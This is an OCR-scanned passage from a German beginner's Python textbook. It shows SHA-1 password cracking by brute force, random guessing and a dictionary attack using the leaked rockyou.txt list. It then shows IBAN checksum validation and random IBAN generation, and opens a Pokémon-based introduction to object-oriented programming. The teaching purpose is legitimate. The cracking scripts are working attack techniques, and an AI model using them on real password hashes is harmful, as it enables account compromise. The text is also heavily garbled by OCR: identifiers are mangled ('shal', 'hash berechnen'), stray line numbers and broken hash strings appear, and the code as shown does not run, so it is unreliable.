(hier zeichen) und die Anzahl an Wiederholungen (repeat), also wie

oft die Menge mit sich selbst ,kartesisch multipliziert” werden soll,
angeben. In unserem Fall hangt das von der aktuell in der for-Schleife

betrachteten Passwortlange (n) ab:



13 for passwort in itertools.product (zeichen, repeat=n) :

Da unser Zeichensatz 94 Elemente hat, gibt es allein fiir den Durchlauf n=6
insgesamt  94° verschiedene Tupel als Ergebnis. Darunter ist
auch ("g","e","h","e","i", "m"), was flir das Passwort geheim
steht. Doch wie macht man aus diesem Tupel einen String? Hierfir
kommt die Methode join zum Einsatz. Diese wird auf einem String
aufgerufen und erhalt ein Tupel als Parameter. Die einzelnen Elemente
des Tupels werden hintereinandergeschrieben. Der String, auf dem
join aufgerufen wird, dient als Trenner. Da hier der leere String ''
steht, werden die Zeichen im Tupel direkt aneinandergeklebt und
ergeben einen Passwortkandidaten:

14 passwort = ''.join (passwort)

Von diesem Passwortkandidaten berechnen wir mit unserer Funktion
hash berechnen den Hashwert:

15 passwort hash = hash berechnen (passwort)

Jetzt wird nur noch geprift, ob der Ubergebene passwort hash dem
soeben berechneten hashwert entspricht. Ist das der Fall, dann ist der
Passwortkandidat das gesuchte Passwort und wir geben es zurtick:

16 1if passwort hash == hashwert:
17 print (f"Das Passwort lautet {passwort}")

18 return passwort

Wenn wir alle Passwortlangen auf diese Weise ausprobiert haben, endet
die auBere for-Schleife mit dem Hinweis, dass das gesuchte Passwort
mehr als die maximale Anzahl an Stellen hat:

19 print (f"Das Passwort hat mehr als {max} Stellen.")

Im Hauptprogramm geben wir einen Hashwert vor und knacken das
dahintersteckende Passwort:



21 if name == " main ":
22 hashwert = "6367c48dd193d56ea7b0baad25b19455e529f

S5ee"

23 passwort knacken (hashwert)

Flr besonders einfache und vor allem kurze Passworter mag dieser Ansatz
vielleicht funktionieren, doch da systematisch vorgegangen wird, kann man
durch die Wahl eines Passworts, das mit einem Zeichen ganz weit hinten
im Zeichensatz beginnt, den Prozess des Knackens verlangsamen.

Deshalb probieren wir uns an einem Ansatz, bei dem zufillig generierte
Passworter zum Einsatz kommen. Die Vorgehensweise ist analog zur
systematischen Suche, nur dass diesmal keine Systematik, sondern reiner
Zufall den Erfolg bestimmt. Immer dann, wenn wir im Python-Kontext von
Zufall sprechen, darf das Modul random nicht fehlen, das wir uns

zusatzlich noch importieren:

1 import string as s

2 import hashlib, random

Die Funktion zum Berechnen des Hashwerts bleibt gleich und kann
wiederverwendet werden:

4 def hash berechnen (text) :
5 shal hash = hashlib.shal (text.encode())
6 hex darstellung = shal hash.hexdigest ()

7 return hex darstellung

Da man in der Programmierung nicht jedes Mal das Rad neu erfinden muss
und wir in Kapitel 12.8 bereits einen gut funktionierenden Passwort-
Generator entwickelt haben, verwenden wir ihn einfach wieder:

9 def passwort generieren(laenge):

10 gross
11 klein

S.asciil uppercase

s.ascii lowercase
12 zahlen = s.digits

13 sonderzeichen = s.punctuation



14 zeichen = [gross,klein,zahlen,sonderzeichen]
15 passwort = []

16 for x in zeichen:

17 passwort.append (random.choice (x))

18 =zeichensatz = '"'.join(zeichen)

19 for  in range (laenge):

20 passwort.append (random.choice (zeichensatz))
21 random.shuffle (passwort)

22 return ''.join (passwort)

Die Funktion passwort knacken erhdlt diesmal einen Passworthash
(hashwert), sowie eine minimale (min) und maximale (max)
Passwortlange:

24 def passwort knacken (hashwert, min=6,max=10) :

Da wir einfach zufallig Passwortkandidaten ausprobieren, bis wir das
Passwort gefunden haben, starten wir eine Endlosschleife:

25 while True:

Danach lassen wir uns mit randint die Lange des Passwortkandidaten
wirfeln. Beachte, dass auf max diesmal nicht 1 addiert werden muss, da
randint auch die obere Grenze berucksichtigt:

26 lange = random.randint (min,max)

Wir lassen uns nun mit der Funktion passwort generieren einen
zufdlligen Passwortkandidaten mit der Liange generieren, die wir zuvor
ausgelost haben:

27 passwort = passwort generieren (lange)

Von diesem Passwortkandidaten wird im Anschluss der Hashwert
berechnet:

28



passwort hash = hash berechnen (passwort)

Wenn der uUbergebene passwort hash dem soeben berechneten
hashwert entspricht, dann ist der Passwortkandidat das gesuchte
Passwort und wir geben es zurick:

29 if passwort hash == hashwert:
30 print (f"Das Passwort lautet {passwort}")

31 return passwort

Im Hauptprogramm geben wir wieder einen Hashwert vor und knacken
vielleicht zufallig das dahintersteckende Passwort:*

33 if name == " main ":
34 hashwert = "1c0a2el185bd128£f8ee0032e2c1d02623bb91b
456"

35 passwort knacken (hashwert)

Das Problem an diesem Ansatz ist, dass er theoretisch unendlich lange
laufen kann, wenn bspw. das Passwort mehr Stellen hat als maximal
gepruft werden. Zudem sind Dopplungen maoglich, d. h. es konnte ein und
derselbe Passwortkandidat mehrmals geprift werden. So gesehen
durchlaufen wir zwar einen festgelegten Zahlenbereich, allerdings nicht
systematisch und das macht wiederum die Endlosschleife erforderlich, da
wir auch nicht speichern, was wir bereits ausprobiert haben. Daruber
hinaus werden die Passwortlangen jeweils mit gleicher Wahrscheinlichkeit
gewdlrfelt, doch es gibt weitaus mehr zehn- als sechsstellige Passworter. So
kommt es zwangslaufig zu einer Haufung der Dopplungen, bis die langeren
alle ausprobiert wurden. TL;DR: Vergiss diesen Ansatz!

Weitaus effektiver und in vielen Féillen zielfihrend ist es, die
Passwortkandidaten aus einem Worterbuch bzw. einer Wordlist*® zu
entnehmen. Diese Angriffstechnik nennt man auch Dictionary-Attack. Im
Internet gibt es zahlreiche Listen mit in der Vergangenheit bereits
geleakten Passwortern, die du auf keinen Fall verwenden solltest. Eine sehr
grof3e Liste mit Uber 14 Millionen Passwortern ist die rockyou.txt, die

du dir unter dem folgenden Link herunterladen kannst:



https://florian-dalwigk.com/python-einsteiger/rockyou_txt

Die Vorgehensweise ist ziemlich simpel:

1. Wir lesen die Wordlist (hier rockyou . txt) ein,

2. Berechnen die Hashwerte der darin enthaltenen Worter und
3. vergleichen sie mit dem vorgegebenen Passworthash.

Diesmal brauchen wir nur den Import hashlib, da wir wieder
systematisch vorgehen und nichts dem Zufall Gberlassen:

1 import hashlib

Die Funktion hash berechnen kénnen wir diesmal nicht eins zu eins
ubernehmen, da die lbergebenen Texte bereits als Bytes kodiert sein
werden. Es muss aber nur in Zeile 4 der Aufruf von encode auf der
Variable text entfernt werden:

def hash berechnen (text) :
shal hash = hashlib.shal (text)
hex darstellung = shal hash.hexdigest ()

o U b~ W

return hex darstellung

Die Funktion passwort knacken erhdlt nur noch zwei Parameter,
namlich den Passworthash (hashwert) und den Pfad zur Wordlist
(wordlist), die verwendet werden soll:

8 def passwort knacken (hashwert, wordlist):


https://florian-dalwigk.com/python-einsteiger/rockyou_txt

Wir o6ffnen die Wordlist im Read-Binary-Modus und gehen in einer for-
Schleife nacheinander alle Eintrage durch:

9 with open(wordlist, "rb") as datei:

10 for passwort in datei:

Da die Passwortkandidaten alle den Zeilenumbruch \n am Ende haben,
befreien wir sie mit st rip davon:

11 passwort = passwort.strip()

Von diesem Passwortkandidaten wird jetzt wieder der Hashwert
berechnet:

12 passwort hash = hash berechnen (passwort)

Direkt danach wird gepruft, ob es sich bei dem Passwortkandidaten um das
gesuchte Passwort handelt:

13 if passwort hash == hashwert:
14 print (f"Das Passwort lautet {passwort}")

15 return passwort

Im Hauptprogramm geben wir wieder einen Hashwert vor und suchen das
dazugehorige Passwort in der Wordlist:

17 if name == " main ":

18 hashwert = "88b701448£f2ed79371608e359349d416d7ede
dbo"

19 wordlist = "rockyou.txt"

20 passwort knacken (hashwert, wordlist)

Challenge

Die Challenge besteht darin, die Performanz der jeweiligen Methoden zum
Knacken eines Passworts zu ermitteln, also wie schnell man mit ihnen
einen vorgegebenen Hashwert auf das Klartextpasswort zurlickfiihren



kann. Uberlege dir verschiedene Passworter und (iberpriife an ihnen,
welche Methode wann am besten geeignet ist.

12.10 IBAN uiberpriifen und generieren

Um heutzutage Uberweisungen titigen oder Abbuchungen tiber das SEPA-
Lastschriftverfahren autorisieren zu koénnen, bendtigt man eine
International Bank Account Number, kurz IBAN.** Es handelt sich dabei also
um eine international glltige Identifikationsnummer fiir Bankkonten.

Wenn diese IBAN falsch eingegeben wird, dann hat das ggf. weitreichende
Konsequenzen auf die Zahlungsabwicklung. Deshalb hat man in der IBAN
selbst einen Mechanismus integriert, mit dem man prifen kann, ob sie
korrekt ist. Hierzu wird eine sogenannte Prifziffer berechnet. Die IBAN ist
(in Deutschland) ein 22-stelliger Code, der sich folgendermalien
zusammensetzt:

D E 8 | 9 |3|]7|0(4|0|(0|4]4(0|5(3]|]2|0|1|3|0)|0]O0

Ladndercode Prufziffer Bankleitzahl Kontonummer

Abbildung 12.10.1: Aufbau einer IBAN

LI Die ersten beiden Stellen sind der sogenannte , Landercode”. In Deutschland lautet dieser DE.

[J An den Stellen drei und vier ist die Prufziffer gespeichert.
[J Nach der Priifziffer folgt eine achtstellige Bankleitzahl.
] Zum Schluss folgt eine zehnstellige Kontonummer.

Bevor wir die IBAN selbst generieren, schreiben wir uns eine Funktion, mit
der eine gegebene IBAN Uberprift werden kann. Wir mussen schlieRlich
erstmal verstehen, woran man eine korrekte IBAN erkennt. Mit dieser
Funktion haben wir dann auch gleich ein Werkzeug, um zu Uberpriifen, ob
die generierten IBANs Uberhaupt korrekt sind. Die Funktion zum Prifen
von IBANs nennen wir passenderweise iban priifen und lbergeben ihr

eine zu prifende IBAN als Parameter:

1 def iban prifen (IBAN) :

Direkt zu Beginn lesen wir aus der IBAN die Prufziffer, die Bankleitzahl und



die Kontonummer aus. Die Kontonummer wird durch die Funktion zfi11l
mit fihrenden Nullen aufgefiillt, sodass die Kontonummer in jedem Fall
zehn Stellen hat:

landercode = IBAN[:2]

pruefziffer = IBAN[2:4]

blz = IBAN[4:12]

kontonummer = IBAN[12:].zfill(10)
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Da sich beim Ubertragen von Informationen Fehler einschleichen kénnen,
bedarf es eines Schutzmechanismus, der erkennt, ob eine IBAN korrekt ist.
Hierfir kommt eine zweistellige Prufziffer zum Einsatz, die sich an der
dritten und vierten Stelle befindet (Abbildung 12.10.1). Jede IBAN hat ihre
eigene Prufziffer, doch da es bei insgesamt zwei Stellen maximal 100
solcher zweistelligen Prifziffern geben kann, mussen sie sich nach dem
Schubfachprinzip zwangslaufig doppeln, was aber nicht weiter schlimm ist.
Problematisch wird es nur dann, wenn die IBAN trotz eines Fehlers eine
scheinbar korrekte Prufziffer aufweist. Das kann passieren, wenn sich mehr
als ein Fehler gleichzeitig einschleicht. Dann hat der Kunde moglicherweise
die Bankleitzahl und die Kontonummer falsch eingegeben oder zwei Fehler
in der Kontonummer eingebaut. Bei der Ubertragung tiber ein Netzwerk
konnen Informationen ebenfalls verlorengehen oder verfalscht werden.
Auch hier hilft die Prufziffer bei dem Erhalt der Integritat.

Fir die Berechnung der Prifziffer gibt es einen einfachen Algorithmus, den
wir uns nun anschauen werden.

LI Als Eingabe erhalt der Algorithmus den Landercode, die Bankleitzahl und die Kontonummer.
[ Als Ausgabe liefert der Algorithmus die Prifziffer der IBAN, die sich aus den Daten der Eingabe
ergibt.

Jetzt werden nacheinander die folgenden Schritte abgearbeitet:

1. Der Landercode wird in eine Zahl umgewandelt. Da man mit Buchstaben keine arithmetischen
Operationen durchfihren kann und die Prifziffernberechnung Modulorechnung erfordert,
Ubersetzt man A zu 10,B zu 11, C zu 12 usw. Das macht man mit jeder Stelle des Landercodes.

Bei DE ergibt sich demnach 1314. Diese Zahl wird hinten noch um zwei Nullen ergdnzt, um auf
sechs Stellen zu kommen. Um die Zahlen spater besser aneinanderhangen zu kénnen, speichern
wir sie als String:

6 DE = "131400"



2. Die Kontonummer wird mit fihrenden Nullen aufgefillt, um auf zehn Stellen zu kommen. Das
haben wir bereits in Zeile 5 mit z£111 gemacht.

3. Als nachstes werden die Bankleitzahl, die Kontonummer und der (ibersetzte Landercode in dieser
Reihenfolge aneinandergehangt:

blz + kontonummer + DE

4. Von dieser Zahl wird der ganzzahlige Rest, der bei der Division durch 97 entsteht, berechnet.
Dazu wandeln wir die Zahl, die aktuell noch als String vorliegt, mit int in eine Ganzzahl um
und rechnen modulo 97:

int (blz + kontonummer + DE) %97

5. Das Ergebnis aus Schritt 4 wird nun von 98 abgezogen. Wenn das Ergebnis kleiner als 10 ist, wird
eine fihrende Null erganzt. Dazu wandeln wir die Differenz

98 - int(blz + kontonummer + DE) %97

wieder in einen String um und wenden erneut die Funktion zfi11 an. Als Parameter wird 2
Ubergeben, da die Prifziffer nur zwei Stellen lang ist:

str (98 - int(blz + kontonummer + DE)%97).zfill (2)

Das Ergebnis aus Schritt 5 ist die Prifziffer. Wieso wird sie so berechnet?
Nun, man hat es eben so festgelegt.

Wir berechnen mit diesem Algorithmus jetzt jedenfalls die Prifziffer, die
fir unsere in den Zeilen 2, 4 und 5 ausgelesenen Informationen
herauskommt und speichern sie in einer Variable check:

7 check = str (98 - int(blz + kontonummer + DE)%97).zfill (2)

AnschlieBend erfolgt die Prifung, ob der Wert von check gleich der
ausgelesenen Prufziffer ist. Ist dem so, dann stimmt die IBAN, ansonsten
nicht:

8 1f check == pruefziffer:
9 print("Die eingegebene IBAN ist korrekt!™)
10 else:



11 print("Die eingegebene IBAN ist falsch!")

Im Hauptprogramm fragen wir vom Benutzer eine IBAN ab und rufen die
Funktion iban priifen auf, um sie zu verifizieren:

13 if name == " main ":
14 TIBAN = input ("Geben Sie bitte Thre IBAN ein: ")

15 iban prifen (IBAN)

Du kannst dieses Programm mal fiir deine IBAN ausprobieren und schauen,
ob sie stimmt. Falls nicht, solltest du deine Bank kontaktieren.

Nachdem wir nun wissen, wie man eine IBAN Uberprift, kdnnen wir sie mit
diesem Wissen auch generieren. Da eine IBAN von einfachen IBAN-
Checkern auch dann erkannt wird, wenn die Bankleitzahl nicht existiert,
kdnnten wir uns zuricklehnen, den IBAN-Checker kopieren und mit
random ein paar Zufallszahlen wirfeln, fiir die dann eine gliltige Prufziffer
berechnet wird. Das ware aber langweilig. Deshalb besorgen wir uns eine
Liste mit allen in Deutschland gultigen Bankleitzahlen und beziehen diese
in die IBAN-Generierung mit ein. Aber gibt es so etwas uberhaupt?
Natirlich! Die Deutsche Bundesbank fuhrt auf ihrer Webseite eine solche
Liste, die laufend aktualisiert wird. Diese Liste findest du unter dem
folgenden Link:

https://florian-dalwigk.com/python-einsteiger/blz_deutsche_bundesbank

1. Wir laden uns die Liste herunter,


https://florian-dalwigk.com/python-einsteiger/blz_deutsche_bundesbank

2. wahlen daraus eine zuféllige Bankleitzahl aus,
3. wiirfeln mithilfe des Moduls random eine zufallige Kontonummer,

4. berechnen mit diesen Daten die Prufziffer und
5. setzen die IBAN zusammen.

Die Datei der Deutschen Bundesbank laden wir uns ebenfalls mithilfe eines
Python-Programms herunter. Dafiir verwenden wir die Funktion get des
Moduls requests, die wir uns zusammen mit random importieren:

1 from requests import get

2 import random

Wir schreiben uns eine Funktion datei herunterladen, mit der eine
Datei von einer bestimmten URL heruntergeladen werden kann. Zusatzlich
zur url erhalt die Funktion den Dateinamen als Parameter. Wenn nichts
anderes angegeben ist, soll sieblz. txt heilen:

4 def datei herunterladen (url, dateiname="blz.txt"):

Wir offnen eine Datei im Write-Binary-Modus und laden mithilfe der
Funktion get, der wir die url Ubergeben, die gewlinschte Ressource aus
dem Internet. Das Ergebnis wird in einer Variable antwort gespeichert
und anschlieBend der Inhalt (content) dieser Antwort in die Datei
geschrieben:

5 with open(dateiname, "wb") as datei:
6 antwort = get (url)

7 datei.write (antwort.content)

Mit einer Funktion iban generieren soll spater eine gultige IBAN
generiert werden. Als Parameter Ubergeben wir eine Liste mit
Bankleitzahlen:

9 def iban generieren (bankleitzahlen) :

Innerhalb der Funktion definieren wir zuerst den Lindercode DE. Da die
Bankleitzahlen von der Deutschen Bank stammen, wird auch der



Landercode fir Deutschland verwendet:

10 DE = "131400"

Die Bankleitzahl wird mithilfe der Funktion choice auf random zufallig
ausder Liste bankleitzahlen ausgewahlt:

11 blz = random.choice (bankleitzahlen)

Die zehnstellige Kontonummer lassen wir uns mit randint auf random
wirfeln:

12 kontonummer=str (random.randint (100000, 9999999999)) .z£fi11(10)

Jetzt berechnen wir mit dem bereits bekannten Algorithmus die Prufziffer
fir die von uns zufallig ausgewahlte Bankleitzahl und Kontonummer:

13 prifziffer=str (98-int (blz+kontonummer+DE)%97) .zfill (2)

Zum Schluss setzen wir die IBAN gemald Abbildung 12.10.1 zusammen,
geben sie aus und abschlieRend zuriick:

14 IBAN = "DE" + priufziffer + blz + kontonummer
15 print (IBAN)
16 return IBAN

Im Hauptprogramm laden wir uns zuerst die Bankleitzahlendatei der
Deutschen Bundesbank herunter:

18 if name == " main ":

19 datei herunterladen (URL DER BLZ DATEI, dateiname=name)

Das musst du allerdings nicht bei jedem Programmstart machen, sondern
nur dann, wenn du eine aktualisierte Fassung der Bankleitzahlendatei
haben modchtest. Aus dieser Datei mussen wir noch die Bankleitzahlen
extrahieren, da sich darin noch weitere Informationen wie die Adressen
der jeweiligen Bankfilialen befinden. Diese interessieren uns aber nicht.




Deshalb sehen wir, um Dopplungen unter den Bankleitzahlen zu
vermeiden, ein Set vor:

20 bankleitzahlen = set ()

Wir 6ffnen die Datei von der Deutschen-Bundesbank im Read-Modus und
speichern alle Zeilen in einer Liste:

21 with open("blz.txt", 'r') as datei:

22 zeilen = datei.read().splitlines/()

Mit einer for-Schleife iterieren wir nun Uber alle Zeilen und figen dem
Set jeweils die ersten acht Zeichen einer Zeile hinzu. Dort befindet sich
namlich die Bankleitzahl:

23 for zeile in zeilen:

25 Dbankleitzahlen.add(zeile[:8])

Das Set wird anschliefend in eine Liste umgewandelt und der Funktion
iban generieren ubergeben:

26 bankleitzahlen = list (bankleitzahlen)

27 1iban generieren (bankleitzahlen)

Nachdem du das Programm gestartet hast, erhaltst du eine IBAN, die du
z. B. auf der folgenden Webseite tGberpriifen kannst:




https://florian-dalwigk.com/python-einsteiger/iban_checken

Challenge

Unser IBAN-Checker berticksichtigt bislang noch nicht die in Deutschland
glltigen Bankleitzahlen. Deshalb besteht die Challenge diesmal darin, eine
IBAN, die keine gilltige Bankleitzahl aufweist, abzuweisen. Bei einer
gultigen IBAN soll zusatzlich ausgegeben werden, von welcher Bank sie
stammt.



https://florian-dalwigk.com/python-einsteiger/iban_checken

13 Objektorientierte Programmierung mit
Python

In diesem Kapitel geht es um eine Programmiermethode, die bei groReren
Softwareprojekten sehr hilfreich sein kann, namlich die objektorientierte
Programmierung. In Kapitel 13.1 lernst du die Grundidee der
objektorientierten Programmierung kennen und wofiir man sie Gberhaupt
braucht. Wichtige Bestandteile sind dabei Klassen und Objekte, mit denen
wir uns in Kapitel 13.2 naher beschaftigen werden. In Kapitel 13.3 lernst
du dann endlich den Grund dafiir kennen, dass ich in diesem Buch bisher
standig zwischen den Begriffen Funktionen und Methoden hin- und
hergesprungen bin. Da der Programmierzauber mit der  init -
Methode aus Kapitel 13.2 gerade erst begonnen hat, lernst du in Kapitel
13.4 weitere magische Methoden kennen. Mit ihrer Hilfe werden wir eine
eigene Klasse entwickeln, die einfaches Bruchrechnen ermdoglicht. Wie bei
vielen Objekten aus der realen Welt, kann es auch in Python zur Vererbung
kommen. Hierbei handelt es sich um ein wichtiges Konzept, durch das man
mehrere adhnliche Objekttypen zusammenfassen bzw. aus einem
allgemeinen Objekttyp Spezialisierungen ableiten kann. Damit beschaftigen
wir uns ausfihrlich und praxisbezogen in Kapitel 13.5. Die Ubungsaufgaben
in Kapitel 13.6 runden die Theorie zu Klassen, Objekten und Methoden ab.

13.1 Was ist objektorientierte Programmierung
und wofiir braucht man sie?

Bei der objektorientierten Programmierung handelt es sich um ein
sogenanntes Programmierparadigma, also eine bestimmte Art zu
programmieren bzw. einen Programmierstil. Es gibt neben der
objektorientierten Programmierung noch weitere solcher
Programmierparadigmen, wie etwa die funktionale Programmierung (z. B.



mit ,Haskell”), die prozedurale Programmierung (z. B. mit ,,Fortran®) oder
die logische Programmierung (z. B. mit ,Prolog”). Eine Auflistung der
verschiedenen Programmierparadigmen findest du in dem folgenden
Video:

https://florian-dalwigk.com/python-einsteiger/programmierparadigmen

All diesen Stilen wohnt eine bestimmte Denkweise inne, die man beim
Programmieren an den Tag legt. Die objektorientierte Programmierung ist
von all diesen Paradigmen mit am intuitivsten zu verstehen, weil man hier
sehr realitatsnah programmiert. Die Welt um uns herum besteht namlich
bei naherer Betrachtung quasi vollumfanglich aus dem Kernstlick der
objektorientierten Programmierung, namlich Objekten. Schaut man sich
um, dann sieht man Uberall solche Objekte: Die Wohnung, in der du
wohnst, das Duschgel im Badezimmer, die Pfanne in der Kiiche oder dein
Smartphone. Auch Lebewesen sind in der Welt der objektorientierten
Programmierung einfach nur Objekte, was ich jetzt im realen Leben so
natirlich nicht sagen wiirde. Die Objekte kdnnen bestimmte Aktionen
ausfiihren, wie etwa ein Hund, der bellt oder ein Auto, das fahrt. Das Auto
braucht zum Fahren einen Treibstoff wie bspw. Benzin, was ebenfalls ein
Objekt ist. Zwischen Objekten kann es gewisse Abhangigkeiten geben:

[J Wenn im Tank kein Benzin ist, dann fahrt das Auto nicht.
[] Wenn die Batterie des Elektroautos leer ist, dann bleibt es stehen.

An dieser Unterscheidung merkst du, dass es offenbar verschiedene Arten
von Autos gibt, doch gleichzeitig hat jedes Auto Eigenschaften, die es von
anderen Objekten abgrenzt. Der Bauplan fir Autos kann also
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unterschiedliche Bestandteile enthalten, doch alle haben irgendwie einen
Motor, Reifen und ein Gehause. Objekte haben Eigenschaften wie etwa
eine Farbe, einen Preis, einen Geschmack, eine Temperatur oder ein Alter —
genauso wie im echten Leben. Zudem konnen Objekte miteinander
interagieren. So konnen zwei Smartphones eine Sprachverbindung
aufbauen oder der Regen die zarten Blatter einer roten, duftenden Rose
benetzen. Objekte kdnnen auch familiare Beziehungen untereinander
haben und sogar voneinander abstammen.

Diese Denkweise bzw. das Auffassen seiner Umwelt als eine Sammlung von
Objekten und deren Interaktionen ist unserem angeborenen menschlichen
Denken sehr ahnlich. Im Mittelpunkt stehen dabei Objekte wie Autos oder
Hauser, die mit sogenannten Klassen gebaut werden kdnnen. Klassen sind
nichts anderes als Bauplane fir Objekte. Mit einer Klasse definierst du
einen eigenen Datentyp.

Es gibt insgesamt vier Grundprinzipien, die die objektorientierte
Programmierung ausmachen:

] Vererbung

Durch Vererbung koénnen Objekte Fahigkeiten von anderen Objekten (ibernehmen, sie
Uberschreiben und sogar erweitern. Zudem kann dadurch Code wiederverwendet werden.

L] Abstraktion

Bei der Abstraktion wird versucht, die wesentlichen Eigenschaften von verschiedenen Objekttypen
zu identifizieren und in einer ,,neuen” Klasse zusammenzufassen. Ein Tesla Model 3, ein VW Kafer
und ein Porsche haben bspw. allesamt vier Rader, einen Motor und ein Lenkrad. Diese
Gemeinsamkeiten konnen in einer Klasse Auto zusammengefasst werden, von denen die
einzelnen Automodelle dann abgeleitet werden kénnen.

| Datenkapselung

Damit ist gemeint, dass die Daten eines Objekts nur durch das Objekt selbst gelesen und
beschrieben werden kdnnen. Der Zugriff auf die Daten eines Objekts erfolgt ausschliefRlich iber
dafiir vorgesehene Schnittstellen. Dein Bargeld, das du zu Hause aufbewabhrst, ist sinnvollerweise
in einem kleinen Tresor gekapselt. Dieser soll ausschlieBlich lber eine Methode &6ffnen
angesprochen werden konnen, die nur berechtigten Nutzern mit dem richtigen Zugangscode
erlaubt, Geld zu entnehmen. Man kann von auBlen also nicht direkt auf das Geld zugreifen,
sondern nur Uber speziell dafiir vorgesehene Schnittstellenmethoden.

[J Polymorphismus

Mit diesem kompliziert klingenden Begriff ist einfach nur gemeint, dass verschiedene Objekte die
gleichen Methoden zur Verfligung stellen und somit auf die gleiche Art und Weise verwendet
werden kdnnen. Nehmen wir als Beispiel ein Objekt der Klasse Tier. Es gibt verschiedene Tiere,
wie Enten, Robben und Kugelfische. All diese Tiere besitzen eine Methode atmen.
Polymorphismus meint in diesem Fall, dass sich in der Klasse Tier, von der die Klassen Ente,




Robbe und Kugelfisch erben, eine Methode atmen befindet, die von den verschiedenen
Tierarten Uberschrieben werden kann, sodass sie ein anderes Verhalten zeigen. Eine Ente atmet
namlich bspw. anders als ein Kugelfisch oder eine Robbe. Polymorphismus kann aber auch heiRen,
dass verschiedene Objekte, die in keiner Verwandtschaftsbeziehung zueinanderstehen,
gleichlautende Methodennamen besitzen, die jeweils ein anderes Verhalten zeigen.

Wenn dich die vier Grundprinzipien der objektorientierten
Programmierung im Detail interessieren, dann kannst du dir das folgende
Video dazu anschauen:

https://florian-dalwigk.com/python-einsteiger/grundprinzipien_der_oop

Doch welche Vorteile bietet einem diese Programmiertechnik?

LI Durch die Moglichkeit der Vererbung, kénnen wir schlanken und tibersichtlichen Code entwickeln.

[l Vererbung ermoglicht es uns aulRerdem, unseren Code wiederzuverwenden. Wir miissen also
nicht jedes Mal das Rad neu erfinden oder Code kopieren.

[l Polymorphismus erlaubt es uns, allgemeine Programmfunktionen wie das , Atmen von Tieren” zu
definieren, ohne dass man sich zu Beginn um spezielle Ausprdagungen wie bei Enten, Robben und
Kugelfischen kimmern muss.

[l Da die Welt um uns herum aus Objekten besteht, haben wir intuitiv ein Gefuhl dafiir, wie wir sie
im Code abbilden kdnnen. Das vereinfacht die Entwicklung komplexer Anwendungen.

(] Die Abstraktion erleichtert uns die Wartung des entwickelten Codes.

Ll Durch die Datenkapselung sind wir in der Lage genau zu steuern, wer in einer Anwendung was
genau machen darf.

Man sollte jedoch stets im Hinterkopf behalten, dass Objektorientierung

nicht immer das Mittel der Wahl sein sollte. ,,Overengineering” ist hier das

Stichwort. Damit ist gemeint, dass man eigentlich einfache Probleme

unnotig verkompliziert und mit viel zu komplexem Code zu |6sen versucht.

Fir unseren Lottozahlengenerator aus Kapitel 12.3 ist es z. B. nicht

erforderlich, mehrere Klassen fiir eine Urne oder Lottoballe zu definieren.
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Es reicht ein einfaches Python-Programm, das zufallig sechs Elemente aus
einer Liste mit den Zahlen von 1 bis 49 zieht. Objektorientierte
Programmierung sollte nur dann zum Einsatz kommen, wenn du dabei von
den zuvor genannten Vorteilen profitierst.

Fir die folgenden Kapitel werden wir als Beispiel flir die objektorientierte
Programmierung die berihmten , Pokémon” verwenden. Bei den kleinen
Taschenmonstern handelt es sich um ein sehr beliebtes Medien-Franchise,
das seit 1996 diverse Spielekonsolen unsicher macht. Zusatzlich zu
Videospielen, sind die Pokémon auch in Serien, in mehreren Kinofilmen,
auf Sammelkarten und in Apps wie ,Pokémon Go“ vertreten. Eine
Ubersicht mit allen Pokémon und ihren dazugehérigen Eigenschaften,
findest du im sogenannten ,Pokédex”, das so ahnlich wie ein
Dictionary funktioniert: Du gibst den Namen eines Pokémons ein und
erhiltst als Ergebnis eine Ubersicht mit zahlreichen Eigenschaften, die
bspw. ein sogenanntes ,,Pikachu” ausmachen. Als Schliissel kann aber auch
eine Nummer verwendet werden, die dann zum Namen und den
Eigenschaften fihrt. Wenn dich das Thema interessiert, kannst du dich
unter dem folgenden Link weiter einlesen:

https://florian-dalwigk.com/python-einsteiger/pokemon

13.2 Klassen und Objekte

Der Kern der objektorientierten Programmierung sind die Objekte. Im
Pokémon-Universum sind das bspw. die Pokémon selbst. Jedes Pokémon
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hat verschiedene Eigenschaften, die sie voneinander unterscheiden. Dazu
zahlen z. B.

[1 der Name,

(] eine Nummer im Pokédex,

] eine GroRe (in Metern),

[] ein Gewicht (in Kilogramm),
[] ein Pokémon-Trainer und ein
U Typ.

Das Wasser-Pokémon ,,Schiggy” hat bspw. die folgenden Eigenschaften:

schiggy = Pokemon ("Schiggy", 7, 0.5, 9, "Ash", "Wasser")

Dieses Schiggy hier ist ein Objekt vom Typ ,Wasser-Pokémon®. Dieser Typ
ist wiederum eine Spezialisierung des allgemein gehaltenen Typs
,Pokémon”. Von jedem Typ kann es mehrere Objekte, sogenannte
Instanzen, geben, die sich dann in den konkreten Eigenschaften
voneinander unterscheiden. So konnte man z. B. noch ein ,Sterndu”
erzeugen, das ebenfalls ein Wasser-Pokémon ist:

sterndu = Pokemon ("Sterndu", 120, 0.8, 34.5, "Misty", "Wasser")

Es ist auch moglich, mehrere Schiggys zu erzeugen, die sich nur in ihrem
Pokémon-Trainer voneinander unterscheiden. Das eine Schiggy wird dann
z. B. von Ash und das andere von Misty trainiert:

schiggyl
schiggy?2

Pokemon ("Schiggy", 7, 0.5, 9, "Ash", "Wasser")

Pokemon ("Schiggy", 7, 0.5, 9, "Misty", "Wasser")

Wenn alle Eigenschaften zweier Objekte gleich sind, dann handelt es sich
um die gleichen Objekte. Dies wird mithilfe des == Operators tUberprift.

Beispiel 13.2.1:
= "Cola"
2 b = "Cola Light"

Diese beiden Getranke sind offensichtlich nicht gleich, weil sie sich im
Zuckergehalt und, was flir Python eigentlich relevant ist, in der




Zusammensetzung der Zeichen voneinander unterscheiden. Dies kdnnen
wir mithilfe des == Operators Uberprifen:

3 print(a == Db)
# Ausgabe: False

Wie sieht es mit den folgenden beiden Getranken aus?

"COla"

N
Il

"COla"

Nun, diese sind gleich, weil sie die gleiche Zusammensetzung an Zeichen
besitzen. Dies bestatigt auch ein Test mit dem == Operator:

3 print(a == Db)
# Ausgabe: True

Es gibt jedoch einen grolRen Unterschied zwischen der ,,Gleichheit” und der
yldentitat” zweier Objekte. Wahrend man mit ,Gleichheit” die inhaltliche
Gleichheit meint, bedeutet , Identitat”, dass es sich um dieselben Objekte
handelt. Diese sind dann auch an derselben Stelle im Speicher zu finden.
Die Identitat zweier Objekte kann mit dem Keyword i s gepruft werden.

Beispiel 13.2.2:

a = "Cola"”

N
Il

"Cola"

Diese beiden Getranke sind gleich, jedoch nicht identisch, weil es sich um
zwei verschiedene Colas handelt. Auch wenn sie inhaltlich, also von der
Zeichenzusammensetzung her, gleich sind, handelt es sich nicht um
